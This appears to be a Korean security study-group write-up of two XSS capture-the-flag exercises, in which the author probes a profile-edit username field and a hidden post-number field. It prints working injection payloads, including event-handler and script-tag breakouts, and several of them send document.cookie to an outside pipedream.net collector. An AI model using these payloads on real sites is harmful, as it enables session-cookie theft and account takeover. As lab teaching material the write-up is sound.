정보보안 스터디 - 6주차 4일 - XSS CTF 연습
◈ XSS CTF- 3
사이트 내에 있는 기능들을 만지면서 놓치는 부분이 없는지 꼼꼼하게 확인해야합니다.
원래는 계속 검색기능에 단서가 있는줄 알고 html entity를 우회할 방법을 고민하고 있었지만 사실상 근본적으로 막는 방법이기 때문에 어렵습니다. 찾아보니 hex encoding이라는 방식이 있었지만 entity를 만난다면 다른 취약점에 눈을 돌리는 것이 낫습니다.
마이페이지의 개인정보 수정페이지를 살펴보니 나머지는 기능이 막혀있지만 유저이름이 변수로 지정되었습니다.
바로 <" ' >를 넣는게 아니라 일단 단계적으로 반응을 확인하며 문자를 넣어봅니다.
띄어쓰기를 넣으면 오류가 뜨지만 <"'> 모두 사용가능합니다.
input태그에 쌓여있기 때문에 방법은 두가지가 있습니다.
1. 이벤트 핸들러
태그 내에서 이벤트핸들러를 사용하는 방식입니다.
알림창먼저 테스트합니다.
wonder12"onmouseover=alert(1)><img+id="1
입력 폼에 마우스를 가져다댔을 때 스크립트가 작동합니다.
wonder12"onmouseover=document.location="https://eooszq17y6k3gcf.m.pipedream.net?"%2Bdocument.cookie><img+id="1
여기서 input태그는 <input /> 형식으로 끝나면 오류가 발생해서 실행이 안됩니다.
<input>형식을 맞춰주기위해 뒷부분은 실행안돼도 상관없는 의미없는 태그로 맞춰줍니다.
url주소에서 +는 띄어쓰기로 처리되기 때문에 +문자 자체를 사용하기 위해 url인코딩을 넣습니다.
2.스크립트 넣기
태그를 닫고 바로스크립트를 삽입하는 방식입니다.
wonder12"><script>alert(1)</script><input+name="1
wonder12"><script>document.location="https://eooszq17y6k3gcf.m.pipedream.net?"%2Bdocument.cookie</script><input+name="1
주석처리하기에는 뒷부분도 주석처리되서 사용하기 어렵고
뒷부분 태그를 맞춰줍니다.
◈ XSS CTF- 4
테스트할 때는 읽기부터, 글등록, 수정까지 다 꼼꼼히 이용해봐야합니다.
글 수정에서 반응이 있는 것을 확인했습니다.
이 경우에는 글 번호를 숫자로 변조할 경우에는 고유한 번호이기 때문에 권한이 없다고 오류가 뜨지만 문자를 추가했을 경우에는 value에 값이 들어갑니다.
<"'>모두 사용가능한 것을 확인합니다.
1. 이벤트핸들러
값이 hidden으로 숨겨져있기 때문에 자동으로 스크립트를 실행하게 만들어야합니다.
이벤트핸들러로 접근했을 경우에는 onload나 autofocus 같은 핸들러가 생각나는데 될 것 같지만 막상 해보니 실행이 안됩니다.
36"onload=alert(1)><input+name="1
36"onfocus=alert(1)+autofocus><input+name="1
2. 새로운 태그 만들기
안된다면 태그를 닫고 새로운 태그를 직접 만들어도 됩니다.
36"><input+type="text"onfocus=alert(1)+autofocus></input+type="1
36"><input+type="text"onfocus=document.location="https://eooszq17y6k3gcf.m.pipedream.net?"%2Bdocument.cookie+autofocus><input+name="1